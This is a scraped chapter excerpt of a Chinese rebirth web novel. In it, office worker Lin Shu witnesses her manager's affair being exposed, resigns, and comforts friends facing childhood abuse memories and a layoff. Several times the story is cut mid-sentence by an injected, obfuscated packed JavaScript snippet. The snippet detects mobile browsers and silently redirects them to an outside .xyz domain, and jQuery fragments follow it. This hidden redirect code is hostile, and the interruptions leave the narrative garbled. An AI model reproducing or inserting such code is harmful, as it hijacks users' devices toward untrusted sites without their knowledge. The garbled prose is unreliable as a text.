李洛诗手中的笔一停,“但是,不知道教师宿舍能不能养猫。” 林舒:“这还不简单吗?你可以把吉仔放我家呀,反正我家离你学校这么近,你跟我妈又很熟,你每天下班过来撸猫,顺便在我家吃饭,完美。” “那多不好意思。” “你跟我客气什么啊,我是认真的。”林舒说,“老话都说距离产生美,你现在跟妈妈关系不好,说不定搬出去住以后,大家偶尔见面吃个饭,这关系还更融洽呢?” 她不给李洛诗反驳的机会,继续说:“再说了,你也说你妈妈偶尔会忘记关门关窗,这万一吉仔离家出走了,你上哪哭去?” 这话直击李洛诗的要害,她立刻坐直身,“我觉得你说得很有道理。” 林舒:“你就听我的吧,有我做你后盾呢,怕啥?” 李洛诗不住点头表示认可:“那我明天就去问问领导。” 见李洛诗被劝服,林舒放松下来,忍不住打了个哈欠:“臣妾明天要六点起床,先行告退了。” “晚安。” “晚安。” …… 第二天早晨六点闹钟准时响起,林舒挣扎了三分钟后极不情愿地翻身下床,一脸视死如归地拿起牙刷,仿佛待会要去上战场。 “滴”一声,房门被打开,温昊殷走了进来:“早啊林舒。” 林舒死气沉沉地应了一声“早”,余光瞥见她还穿着昨晚出门的那套衣服。 温昊殷说:“我还担心你起不了床呢,特意给你打包了早餐上来,想着你多少能吃点。” 林舒满嘴牙膏泡沫:“算了,我现在吃龙肉都没胃口。” 离开房间之前,林舒还是被硬塞了一个包子。她嚼着包子飘进电梯,透过反光镜看到毫无生气的自己,一开始还觉得有点不好意思。然而再看一眼身旁的同事,一个个无精打采的,更有甚者头发没梳,领带都是歪的,她瞬间放松下来。 太好了,大家都是这副死样子,哈哈。 白天听各领导上台讲话,晚上吃饭。重生后的林舒谨记养生要领,滴酒不沾,哐哐炫了两碗燕窝。 今年一二季度林舒所在的华南区业绩第一,总经理黄正熙兴致很高,跟每个前来道贺的人都喝上一杯,晚餐结束时脚步浮浮,由两个男同事扶着都走不成直线。 到了酒店门口,他却怎么都不肯走了,其中一个男同事打算叫个车把他送回F酒店,被秘书小云拦下了。 小云扯了扯他的衣服,低声说:“走吧,别管了。” 男同事很是疑惑,但领导的秘书都这么说了,自然是有原因的,便麻利地松开了手——说实话,要不是为了讨好领导,谁乐意扶着他? 林舒走快两步跟上小云,小声问:“我们就这样丢下黄总不管吗?他看起来喝得很醉。” 林舒跟小云关系不错,小云四周看下无人,在她耳边说:“黄总自费住更高档的络盈酒店,不想让其他人知道这事。” “原来他是装醉故意不走啊。”林舒恍然大悟。 她回头看黄正熙,见他还站在原地看着她们离开方向。带着答案再去读题目,明明黄正熙的神态动作没变,现在看起来也跟刚刚完全不一样,真的不像是喝醉酒的样子。 林舒跟着大伙走回F酒店,也就十五分钟的路程,吃饱饭吹着晚风跟同事们有说有笑地走着,还是蛮惬意的。 她还在满心欢喜地享受着放松时刻,随手一摸口袋,瞬间僵在原地。 “怎么了?”小云跟着停下。 “我手机好像落在刚刚吃饭的地方了。”林舒懊恼地拍了拍脑袋,“我得回去一趟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926900|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你先回酒店吧。” “行。” 跟小云道别后,林舒急匆匆赶回络盈酒店。幸好,手机还乖乖躺在她刚刚坐的位置上。她拿上手机走出宴会厅,心里念叨着得赶紧回去洗个澡睡觉,没留意到从酒店大门进来的女人目光落在她身上。 “小姑娘,”女人喊了一声,见对方没反应便又喊一声,“小姑娘。” 酒店大堂很空旷,这个点没什么客人,女人的声音像在密封的罐子内转了一圈,清晰传进林舒的耳朵。 她停下脚步,“您叫我?” 面前的女人约莫四十岁,妆容精致,穿着贵气,臂弯挽着一个logo极其明显的名牌包包。 贵妇问:“你是互动有力的员工?” 她的样子看起来很高傲,但是语气却没有颐指气使的感觉。 但她始终是个陌生人,一上来就提问,林舒留了个心眼,反问:“您是?” 贵妇说:“听说互动有力在络盈办周年庆,我是来找人的,但现在人都不在了。” 林舒答:“晚宴已经结束了,大家应该都已经回酒店了,您直接联系要找的人吧。” “原来还真是在这办活动,”贵妇挑了挑眉,“事情变得有趣起来了。” 这人有点莫名其妙的。 林舒今天六点起床,此时已待机超过十四小时,人早已困得不行。这贵妇说半天都说不到点子上,她也不想继续跟她闲扯,抬脚就想走。 谁料贵妇一把将她拉住,语出惊人:“你有兴趣抓奸吗?” ? 林舒震惊之余反应也很迅速,立即甩开她的手,后退几步与她保持一定距离,警惕地问:“您这是什么意思?” 贵妇被甩开也不恼火,双手环抱胸前,一副气定神闲的样子,慢悠悠地说:“我是从F酒店过来的,那里没有我要找的人。”她盯着林舒,向她走近一步,继续说:“我看见你从宴会厅出来,你是互动有力的员工。” 这人是不是有毛病? 林舒不禁怀疑是不是自己太困了产生幻觉,不然怎么解释在这里遇到个这么莫名其妙的人? “我不知道您在说什么,我要走了。”说着,她转过身快步走出酒店大门。 身后传来贵妇的笑声:“没事,你明天也会知道的。” 林舒不仅没有停下,反而加快脚步,匆匆穿过门前花圃,走入一旁小路。 从络盈酒店走回F酒店路程大概十五分钟。她走着走着,一辆警车响着警铃从她身边经过,朝着络盈酒店的方向驶去。她脑海中浮现出贵妇的脸,以及她的那句话:“你有兴趣抓奸吗?” 难道刚刚那辆警车是去络盈酒店处理这件事的?可警察管这个吗? 还有,那贵妇为什么要强调她在F酒店找不到她要找的人?还要确认自己是不是互动有力的员工? 抓奸……互动有力…… 难道…… 林舒停下脚步,转身往回跑。 有瓜吃! 而且是大瓜!是大瓜! 幸好她走路不快,没有走出很远,再加上她现在吃瓜心切,脚底生风,往回跑不到五分钟就回到络盈酒店。她没有直接从大门走进酒店,而是躲在门边的柱子后面。 一名男子正往外走。他穿一身黑,头戴鸭舌帽,帽檐压得很低,根本看不清他的脸。他低着头,步子飞快,很快便穿过前台,伸手搭在玻璃大门的扶手上。 就在这时,一个女声响起:“黄正熙!” 林舒一愣,她认出声音了,就是刚刚那个莫名其妙的贵妇! 此时,那名黑衣男子也抬起头——不是别人,正是林舒的总经理黄正熙黄总! 好家伙,这瓜太劲爆了,超乎她想象! 贵妇指着定在门口黄正熙,对两个穿着警察制服的人说:“警察同志,我要举报这里有人□□。□□者是我的丈夫,黄正熙先生。” 她语气很平稳,没有任何波澜:“我带来的人已经堵住这个酒店所有出口,那位小姐目前还在酒店里,麻烦两位警察同志再找找。” “温小姐。”她转过身,背对着大门,林舒看不见她的表情,只听她说:“我建议你最好是自己走出来,否则被拖出来就不好看了。” 温小姐? 林舒那颗热烈的吃瓜的心猛然一顿。 只见一个穿着浴袍的女人从隐蔽处走了出来。 32. 第四世(二十九) 她看起来很狼狈。 平日里精心打理的一头栗色法式卷发此刻乱糟糟地堆在头顶,拖鞋也穿错了,左右脚对调,看起来有些滑稽。 林舒觉得有点喘不过气来,缓慢缩回刚刚因为好奇吃瓜而探出太多的身子,往暗处隐了隐。 “过来。”贵妇向黄正熙勾了勾手指,后者垂着头走到她身边,没敢抬头看她。 “啪”一声脆响,黄正熙脸上顿时留下通红的印记。在场所有人,包括黄正熙自己都愣住了。 贵妇收回手,极其不屑地拍了拍手,冷笑道:“黄正熙,你有今天都是靠我,谁给你的胆子出轨?” 说完,她没再给他一个眼神,转过身面向温昊殷,说:“大家同为女人,我只想问你一句,你是真心喜欢我老公,喜欢到他给不了你任何名分都要同他上床,还是为了你的工作?” 温昊殷抓着浴袍的手紧了紧,抿唇不说话。 贵妇又道:“你们能想到在这里偷情,很聪明,把我耍得团团转。但天助我也,居然被我猜中了。” “我在北辰有个好朋友叫我去她家睡,所以这两晚我就不回酒店了。”林舒突然想起温昊殷说的这句话。 本来只是一句普通到没得再普通的一句话,却因为她多次重生多次经历同一件事,无形中加深了印象。 第一次,她是在第一世2024年6月17日周年庆前一晚时听到的; 第二次,她是在第一世2024年12月16日年会前一晚听到的; 第三次,她是在第三世2024年12月16日年会前一晚听到的; 第四次,她是在昨晚听到的。 在第一世里,温昊殷与黄正熙的事情之所以没在周年庆被撞破,是因为林舒当时喝了酒晕晕乎乎的,手机落在络盈酒店也不知道,后来是酒店工作人员捡到送回给小云的。她没有折返取手机,没有遇见贵妇,所以贵妇也没猜到两人是在这家酒店行苟且之事。 而两人的事情最终被贵妇知晓是在12月年会的时候,所以温昊殷18日没有跟着大伙一起回南苑,19日没有来上班,直接人间蒸发。 至于她,则因为温昊殷没有来上班,被迫干两个人的活,为准备应标材料加班到将近晚上12点,在下班路上被埋伏已久的余嘉城一刀捅死。 在这一世里,因为她的重生,这件事提早半年发生。 林舒不知道自己是怎么走回F酒店的,她只觉得头很晕,四肢发软不听使唤,觉得自己似乎要做点什么,但一点力气都没有。 第一世六年,加上这一世六年,十二年,她与温昊殷共事已十二年之久。 她想起第一世刚入职的时候,还是个人人可以使唤的实习生。 隔壁项目组负责人吴经理趁着温昊殷出差,将一些杂七杂八的活塞给她做,比如报销加班打车费用,将行程单和发票打印出来,填好表格,将几份材料钉在一起后拿去给两位领导签字,接着整理成扫描件,最后在系统上发起报销流程,挨个节点催审; 比如临时给她一份合同,说非常着急要立刻亲自送到客户手中,让她坐公共交通工具送过去; 比如让她监测友商投放电台情况,每个正点的报时都要录下来;或者让她监测客户在电视节目中投放的视频内容,每逢6:10、9:00、12:00、21:30、23:55各录屏一条,维持一周。 她不是任凭别人欺负不敢还手之人,只是她当时并不觉得这是被欺负。 念书的时候,什么时候办公室有了新试卷她都是第一个知道,如果是年级其他老师自己出的卷子,她也会去问老师能不能给她抄下题目,她想拿回去慢慢做。她是一个不安于现状、喜欢不断闯关打怪的人。 将这个思维带到职场中,她不认为这是苦活累活,反而觉得做的一切都能学到东西:报销可以让她学会用0A系统,去送合同可以让她有机会跟客户面对面接触,监测友商投放情况可以让她知道多种媒体投放形式。 直到她被这个吴经理叫到办公室里,她才意识到自己踩进陷阱里了。吴经理对她说:“小林啊,我跟黄总请示过了,以后你也辅助一下我们七部的工作吧,像这种报销、舆情监测之类的工作,我看你做得很好,现在也很上手了,问题不大的。” 温昊殷是在这个时候推门而入的。她手里还拉着行李箱,看样子应该是刚下飞机就赶过来了。她看起来很生气,但是声音里却听不出愤怒:“吴经理,林舒是我们五部的实习生,怎么也轮不到其他部门来使唤吧?” 吴经理露出一个官方的笑容:“哎呀温经理,你也知道我们七部项目多,大家都忙不过来了。这不快年了吗,黄总也说,四季度主要就靠我们七部冲一下业绩呢,正是要用人的时候。” “你们要人支撑工作,就找黄总要;要HC,就找人事问总部要。这主意怎么都打不到我的实习生身上。”她不卑不亢,语速不疾不徐,“以后她要听我的,又要听你的,那先安排谁的工作呢?如果说按轻重缓急来分先后顺序,那如果每个工作都急呢?她就一个人,一双手,一份工资,还要应付两个上司?要不这样吧,你多给她一份工资,看看她愿不愿意?” 温昊殷已把话挑明来说,吴经理便也不打官腔了,收起笑容说道:“温经理,这件事黄总已经答应了的。” 温昊殷将行李箱一推,放下包包:“走,我们一起去找黄总。” 黄正熙的办公室离员工办公区有一定距离,林舒听不见他们具体说了些什么,但事后听小云说起,温昊殷气势汹汹,声音很大,说到激动之处甚至拍桌子了。 “温经理平时很温柔的,这么多年来都没怎么见她对谁红过脸。”小云说。 最后温昊殷确实是红着脸出来的,能看出是经过一场激烈的恶战。 “林舒,”她松了一口气,笑起来眉眼弯弯,“以后你只需要做五部的工作就好了。” 她后来想,温昊殷此番出头是为她也是为自己。林舒占着五部的名额,工资从五部项目成本费用中出,作为项目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931802|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责人的她自然是希望这个实习生全身心负责五部的工作,所以她要去争取,必须争取。 但无论她的出发点是什么,最终林舒都是获益者。她不再被使唤去做一些零碎的工作,在温昊殷的指导下,她能接触到更深层的工作,一点点成长起来,提前转正、从客户执行到客户主管,再升到客户经理。 温昊殷是她的贵人。 她拉起被子盖过头顶,整个人缩起来像一只煮熟的罗氏虾。 …… 温昊殷推开房门。 她刚在派出所录完口供,脑子还嗡嗡作响。她做了什么、说了什么,其实已经没什么印象了,唯一记得从络盈酒店离开之前,黄太太对她说:“你先上楼换一身衣服吧。” 即使她做了这样的事情,黄太太也没有打她、骂她,反而给她体面。 她心里很不是滋味。 房内只开着床头灯,林舒床上的被子鼓鼓的,应该是睡着了。她总是这样的睡姿,整个人蜷缩起来,被子蒙头盖,跟她说过很多次这样对腰不好、对呼吸不好,她也只是呵呵笑不去改,真是一个不让人省心的孩子。 温昊殷叹了口气,走到床边,像过去一样轻轻拉开被子,好让她的头露出来。 啜泣声是从被子里传出来的。 “林舒?”温昊殷拉着被子的手一停,“怎么了?” 床上的人背对着她,双手捂着脸,身子剧烈抖着。 “林舒,”温昊殷拍了拍她的后背,“遇到什么事情了?我能帮你吗?” “你是要走了吗?”林舒继续保持着那个姿势,声音从掌心中传出,闷闷的。 没头没尾的一句话,温昊殷听懂了。 她慢慢抽回手,自嘲地笑了一下:“你都知道了?” 她多希望听到她说不知道,希望听到她反问是什么事情。但是没有,她沉默了。 沉默在此刻是最可怕的回答。 温昊殷在床边坐下——她没有坐在林舒的床上,而是坐在自己的床上,她怕林舒嫌她脏。 “我是不是很狼狈?” 她不确定林舒看到多少,但能肯定的是她都知道了,又问:“我是不是做错了?” 林舒还是没有回答。 旁人议论两句太轻松了,她不想评价别人。只是如果在这里需要这么做才能换取晋升机会,她便不想留在这了。 她知道不是行业的问题。即使她换工作换行业也可能会遇到这样的人,但她就是累了,不想留在这了。 人都是多面的,就看你能遇见哪一面。她遇见的那一面,是她作为上司,带她入行,手把手教她工作、告诉她职场生存准则,为她争取权益、替她挡酒。在她的羽翼庇护下,她的职业生涯算是舒坦。 人心都是复杂的,欲望也是无穷的,她这个一直被保护着的人有什么资格去评价别人呢? 林舒离开的时候,最后看了一眼空无一人的房间,然后重重拉上门。与此同时,黄正熙的邮箱里多了一封辞职通知书。 33. 第四世(三十) 林舒选在一个阳光明媚的下午回公司收拾东西。 算上第一世,她在这个工位上坐了12年,这次主动离开,还真有点舍不得。 这一大袋小黄鸭是她们五部和创作部共同喝柠檬茶打下的江山,当时攒起来的时候很是欢喜,现在小黄鸭们都蒙尘了,许久没人碰过它们了; 这个玩偶是客户公司的IP,当时觉得可丑了——毕竟多少带点私人恩怨,现在这么看着竟还觉得丑萌丑萌的? 这个坐垫质量真不错,一坐就是六年,也是将它的作用发挥到极致了; 这个水杯是当时入职的时候温昊殷送的,是一个可爱的兔子水杯,配一根粉色吸管,好看的杯子总是会吸引她多喝水…… 她带了一个双肩包回来,将这些东西一件一件放进去,仔细、庄重地对待她的每一份记忆,然后背上这些记忆转身离开。 入职六年,除了实习阶段,几乎就没有在还能看到太阳的时候下班,现在感受着眼光落在身上的暖意,还真有点陌生。她也不知道去干嘛,凭着感觉走,竟来到南苑第二小学门口。 这个点正值小学生放学。林舒一眼便瞧见将学生送到校门口的李洛诗,后者刚好抬头,也看见她了。 “林舒,你怎么来了?” 林舒扯着肩带,站在一群小学生里,笑着回答:“来接你下班。” “今天不用上班吗?”李洛诗又问。 “我辞职了。” “想跟我聊聊吗?” 林舒笑着摇头:“不想。” “那我们待会去吃饭吧,介意刘沐鑫也在吗?” “我当然不介意,就看他介不介意我这盏超高瓦数的电灯泡了。” “哪里轮得到他不同意啊。我俩才是真爱,他就是个意外。” 直到将最后一个学生送走,李洛诗才下班。 两人一路聊着来到餐厅。起初刘沐鑫说一小时后到,然而一个半小时过去了还不见人影。李洛诗怕林舒已经饿了但不好意思说,就叫服务员先上菜。 直到九点,刘沐鑫才赶到,一进门便说:“不好意思,下班前老板叫我们去开会。” 林舒摆摆手,“没事,大家都是朋友,有什么好道歉的。” 李洛诗给他夹菜,说:“先吃点东西吧。” 三人聊了一会,林舒起身去洗手间,出来后却撞见两人在大声说着话,面红耳赤的。 只听李洛诗说:“我爸妈问,我们什么时候结婚。他们已经不是第一次问我了,每次我都不知道该怎么回答。” 刘沐鑫:“这个事情我们不是讨论过吗?现在还不是时候。而且我最近已经很累了,我们不要再说这个话题了,好吗?” 李洛诗脸色一变,腾一下站起来:“你是不是不想娶我?” “我不是这个意思,”刘沐鑫想去拉她的手,但没拉到,“你别乱想。” “那我明白了。”说完,李洛诗抓起座位上的包包,头也不回地跑出餐厅。 林舒一看形势不对,连忙跑回座位上,问刘沐鑫:“怎么突然吵起来了?” 刘沐鑫一看李洛诗跑走了也很着急,急忙想背包,但是一着急就慌乱,这背带一直卡着下不去。 林舒说:“你这饭都还没吃几口,先吃饭吧,洛诗那边我去追。”她拿起包包,跟在李洛诗身后追了出去。 “洛诗,洛诗!”幸好李洛诗走得不算快,林舒跑了一小段路就追上,看见她早已哭成花脸猫了。 林舒抽出纸巾,为她拭去眼泪,像哄孩子一样问道:“怎么啦?好好的怎么突然哭成这样?” 李洛诗泪眼汪汪地看着林舒,“我想不明白。” 她是真的想不明白。 自她记事起,生活中就没有爸爸这号人,妈妈会不由分说将她从书桌上拉起来打她,可能仅仅是因为她把书包放在地上而不是椅子上。 妈妈会避开脸、手和脖颈,专门打她的屁股和大腿,因为她的校服短裤是及膝的,打在这些地方不会被人看到。 有时候是衣架,有时候是鸡毛掸子,有时候是铁尺,有时候则是一根藏在冰箱底下、专门用来打她的长棍。 妈妈一边打她,一边哭喊道:“你为什么不听话?为什么你爸不喜欢你?都是因为你不乖,他才不回家的。” 人类对于亲情的感知和依赖是与生俱来的。小孩子什么都不懂,但他们生来就是会爱爸爸妈妈的,对于他们说的话无比信任。 既然妈妈说她不听话,那她就是不听话;既然妈妈说爸爸是因为她才不回家的,那她就是导致这个家分崩离析的罪人。 她眨着眼,闪着泪花,但不敢哭出声,罪人怎么敢哭出声呢?她小心翼翼地说:“妈妈对不起,我会听话的。” 妈妈放下手中的衣架,抱着她大哭:“宝贝对不起,妈妈不应该打你,妈妈以后不打你了。” 她知道妈妈下次还是会打她,每次都这样;但她依然顺从地应着“好”,每次都这样。 她会感到迷茫,妈妈会骂她、打她,但妈妈也会抱她、向她道歉,那妈妈到底爱不爱她呢? 她想不明白,只确定自己很爱妈妈。 “妈妈”是带她来到这个世界的人,也是她来到这个世界上学会说的第一个词。妈妈,妈妈,她生来就爱着这个女人。 她爱着妈妈,所以她不舍得让她落泪、不舍得看到她难过,更不舍得骂她、打她。 所以即便她不知道自己做错什么,她也努力模仿做一个“听话”的人。 她捡起放在地面上的书包,她叠好被子,她按时按质完成作业,她考取全年级第一的好成绩,她当上少先队队长,她拿到市里朗诵比赛一等奖,她学会做饭。 但是大腿上的伤痕并没有减少。 这样长大的她跟妈妈关系疏离。不开心的时候,她也会想告诉妈妈,她很难受,她想要得到安慰,但同时她又很恐惧很排斥妈妈靠近自己。 有时候晚上不想加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946237|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班,她会漫无目的地在街上乱逛,随便坐上一辆公交车,往未知的目的地驶去。 坐在摇摇晃晃的公交上,看着公交行驶、靠站,有人上车、下车。她坐在靠近后门的位置,身边人来人往,她就这么呆呆坐着、看着,突然疑惑他们在干什么,为什么这么匆忙赶路? 背着书包的小学生跟小伙伴热切地聊着某部动画片的剧情,说待会回家做完作业可以看一集;穿着校服的中学生坐在公交车的最后一排,在昏暗的光线下认真做着卷子;提着公文包的男人在跟他的小孩打电话,夹着嗓子说爸爸很快就到家啦;挎着电脑包的女人在跟同事通话,说待会回家将最新的报价单发给他;拉着装满肉菜的小推车的阿姨发了一段语音,点开语音听回放:“今晚给你们做红烧鲫鱼。” 每个人都有去处,那她呢? 念书的时候每天认真上课写作业,为考取好成绩而努力;毕业后每天按时上班下班,不用加班的周末跟朋友出去看个电影吃个饭,然后各回各家,大家工作都忙想凑个四五天去远一点的地方旅行都凑不上;如今年纪到了,那就按照绝大多数人的步伐,计划着结婚生子,为共同养育下一代而努力。 静下心来想一想,她是为了什么?她想要的是什么? 是因为妈妈说她不听话,所以她要听话;是因为她想让爸爸回家,所以拼命做一个乖孩子;是因为老师们都说学历很重要,所以她努力考到南苑最好的大学;是因为爸妈说她该结婚了,所以她问刘沐鑫“我们什么时候结婚”。 更是因为大众主流思想影响,所以她努力工作,即使每年都被分到做班主任也毫无怨言,勤勤恳恳做好每一件事,真心对待每一位学生,积极参加各种比赛。她关注评职称的要求,规划着未来职业道路,同时也在计划结婚。 就是因为绝大多数人都是这样的人生轨迹,所以她也必须要这样活吗? 南苑的天气变幻无常,经常毫无预兆下起大雨,就像突然往吵闹拥挤的人群中投入一个装满水的气球,啪嗒一声水花四溅,溅湿人们的裤脚,人群在一瞬间迅速散开,留下干瘪的气球躺在地上。 她看向车窗外,有伞的人匆忙撑开雨伞,没伞的人连忙护着头顶跑到屋檐下,路上的车不约而同开起雨刮,放慢车速。 雷电交加,雨越下越大,雨滴砸在车顶上、车窗上,发出咚咚的声音。她像独自一人坐在空旷的房间里,雨滴在与她对话。 是世界末日了吗?她心想,如释重负地笑了,太好了。 这样,她就不用思考了。 林舒紧紧牵着李洛诗的手,起初想说些什么,后来发现她只是需要有一个人静静聆听,便专心做一个聆听者。她送李洛诗回教师宿舍,给吉仔添了水和粮食,轻轻带上门离开。 她走出教师宿舍,拿出手机,看到刘沐鑫给她留言:【我在刚刚吃饭的餐厅等你。】 她赶回餐厅,这个点餐厅已经打烊,刘沐鑫坐在店门的台阶上抬起头来,一脸倦容。 34. 第四世(三十一) “我被裁员了。”这是林舒坐下后,刘沐鑫说的第一句话。 林舒感觉这个场景似曾相识,心跳不禁慢了半拍,表面不动声色地问:“那你今晚……” “今晚我去面试了。” “洛诗知道吗?” “不知道,”刘沐鑫苦笑,“我不知道该怎么跟她说。” 林舒:“那,我可以问问是什么时候的事情吗?” 刘沐鑫:“三个月前。” “三个月?”林舒很是震惊,这三个月里他们保持着每周见一次面的频率,并没有察觉到任何不妥。而李洛诗作为他的女朋友,他十分亲近的人,对此也毫不知情。她不禁问:“为什么不告诉洛诗?” 为什么呢?刘沐鑫也问自己。 从18岁到27岁,他和李洛诗牵手走过九年,早已视对方为未来要相伴一生的伴侣。他爱她,想要跟她合法地在一起,想给她一个家。他嘴上没说什么,但是一直在默默规划着他们的未来,工作这些年来,他每个月将工资分成三部分,一部分是家用,一部分是每个月恒定要花费的钱,剩余部分则存进一张卡里。 经过五年存钱,这张卡里有一笔不多不少的存款,足够支付南苑市非核心区买一套二手房的二居室的首付。 他去看过那套房子。房子不大,只有70平,但是朝向很不错,是东南向,早上阳光会洒进房间,能看见空气中的小灰尘在阳光下翩翩起舞;阳台面朝着小区花园,下午的时候会有小孩子在那里玩游戏,笑声会传进屋里。她最喜欢阳光和热闹了,他心想,她一定会喜欢这里的。 阳台也算宽敞,他们可以在边上放一个置物架,摆上各种花花草草。对了,她最近迷上了多肉,说桃蛋粉粉嫩嫩的,又鼓鼓的很可爱,可以多买几盆放在上面。 他也计算过月供费用。大厂公积金交得比较高,可以覆盖掉一部分月供,这样他们就算买房了也不至于降低生活质量,还是可以过上还算悠闲的生活的。 他还了解过这里是学区房,附近的小学和初中虽然不是市里数一数二的重点学校,但是师资不错,再加上他们两人,一人教文一人教理,肯定能教孩子教好——当然,如果孩子有自己的想法希望往其他的方向发展,也是会尊重他/她的。 他将一切规划得完美妥帖,就在准备告诉她的前一天,他被人事叫进办公室里,简单机械的一句话将他的梦踩碎了。 “沐鑫,你这个季度的绩效在部门里垫底,不好意思,你被辞退了。” 整个流程走得很快,谈好赔偿的当天,他的工作账户就被停用了,饭卡也用不了了。 像是要丢弃一件垃圾一样。 他不敢跟李洛诗说。她一直想彻底从原生家庭中脱离出来,渴望有一个属于自己的小家,可现在他无法跟她一起实现这个愿望了; 他不敢跟陈彦森说。毕业的时候他曾邀请自己一起创业,但当时自己追求稳定选择了现在的公司,如今他的创业公司做得有声有色,反观自己被裁,生活一塌糊涂; 他更不敢跟父母说。这二十多年来,父母尽自己所能托举他,从小村庄来到市区,从租房到买房,他的起点比父母高了许多许多。然而站在父母肩膀上的他,即将到三十岁,却未能做到社会所期望的“而立”。 那天晚上他跟家里人说要加班不回去吃,一个人买了几罐啤酒坐在江边。成年人的烦恼更多时候是独自消化,因为其实大家都挺忙的,每个人都有自己的事情要做,都有不同的烦恼,只能学会独自处理自己的情绪。 也是在这里,他决定隐瞒这一切,每日九点出门假装上班,有面试的话就去面试,没面试的话就去公园或图书馆坐一天,晚上八九点再回家。 今天,原定的面试是在下午五点半,因为面试部门开会延后了四十分钟,直到八点半才面试完,飞奔赶来应约。面试两个多小时滴水未沾,他又饿又累,刚扒拉了两口饭,李洛诗就提出死亡疑问:“沐鑫,我们什么时候结婚?” 刘沐鑫说:“林舒,我记得你以前说过,成年人的时间会过得很快。我以前不理解,但现在能理解了,时间过得飞快,我还是一无所有。” 林舒静静听着,从包里掏出一袋鲜奶红豆包,自己拿了一块,然后递给刘沐鑫:“要吗?” 刘沐鑫看了她一眼,说了声谢谢,伸手拿了一块。 “这个小面包特别好吃,每天都卖得特别好。”林舒又咬了一口,慢条斯理地嚼着。 “确实好吃,这奶油不甜腻。”刘沐鑫对林舒的口味表示认可。 两人一时之间都没有说话,只剩下咀嚼的声音。 林舒吃完面包,才缓缓开口:“每一代年轻人都有自己的困境。我们是在优绩主义下成长起来的一代,从小被教育要努力学习取得优异成绩,一旦进入社会,很难接受自己不优秀。我们在意评价体系,是因为我们就是这么被评价着长大的,这并不是你的错。” “但是刘沐鑫,有句话是‘每个人活在自己的时区里’,没有人框定你人生的每个节点必须要怎么走。不是恋爱九年就必须要马上结婚,不是被裁员就说明你不优秀,不是二十七岁没买房买车就不成功,不是三十岁必须要事业有成家庭美满,我们可以有自己的速度,可以按照自己的步伐,可以在赶路的时候,停下来买一袋红豆奶油面包。” “我们22岁大学毕业,今年27岁。满打满算,今年也只是进入社会这所大学的第五年,也就是个五年级学生。你回想一下,你五年级的时候,身边人会如此苛责你吗?” 李洛诗急于评职称和结婚,刘沐鑫急于赚钱买房和结婚,他们希望在大众所认为的最合适的年纪做最合适的事情。在这缺乏安全感的二十七岁里,今夜无人得以安眠。 …… 那一夜后,林舒大病一场。 她发烧持续高达39度,连烧四天才退烧。退烧后,她踩上体重秤一看,掉了六斤。 她本来就是偏瘦的身材,这一下子掉了六斤,165的身高不足90斤,应陈彦森三人的约去吃饭时,像一朵云飘到他们面前。 刘沐鑫帮忙用热水烫碗筷,李洛诗撬开橙子汽水的瓶盖递到她手里,陈彦森给她夹了满满一大碗菜。三双眼睛齐刷刷看着她,谁都没敢先说话。 林舒倒是轻松地笑了笑:“有什么想说的就说吧。” 三人互看交换眼神,陈彦森开口:“接下来有没有想去哪里玩?我陪你。” “在没什么特别想去的地方,也没想好接下来做什么,就想随便找份工作过渡一下。”林舒补充一句,“但不打算做广告了。” 李洛诗眼睛一亮:“我们学校二年级有个语文老师在休产假,领导打算请一个代课老师顶替一个学期左右,如果你有意愿的话我去问一下。” 林舒:“好啊,刚好我有教师资格证。” 李洛诗:“那我先去问一下,如果可以的话给你辅导下面试。” “说完我,那你呢?”林舒看了她一眼,又看向刘沐鑫,“你们这几天怎么样?” 李洛诗看刘沐鑫一眼:“我跟沐鑫坐下敞开心扉谈了一次,决定顺其自然。即使打算结婚但暂时还没有房子,我们可以先跟沐鑫爸妈一起住或者租房子,之后手头宽裕再考虑买房,不必逼着自己一定要买房才能结婚。” 林舒一直看着李洛诗,见她话已说完,并没有说到她想听的话题,便问道:“那你没有想明白的事情,现在有想明白吗?” “我……”李洛诗垂头。 “过两天,我陪你去医院吧。”林舒握住她的手,“我陪你一起面对。” “好。”李洛诗拍拍她的手背,“刘沐鑫有个好消息要跟你说。” “嗯?” 刘沐鑫喝了口茶掩饰心中紧张,对林舒说:“林舒,我找到工作了,现在在上班。” “天啊,那太好了,恭喜你啊。”林舒喜形于色,“是哪家公司?” “就……”刘沐鑫有点不好意思地挠挠头,“陈彦森的公司。” “哦?”林舒将视线挪到陈彦森脸上。 陈彦森解释道:“刚好公司里有岗位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 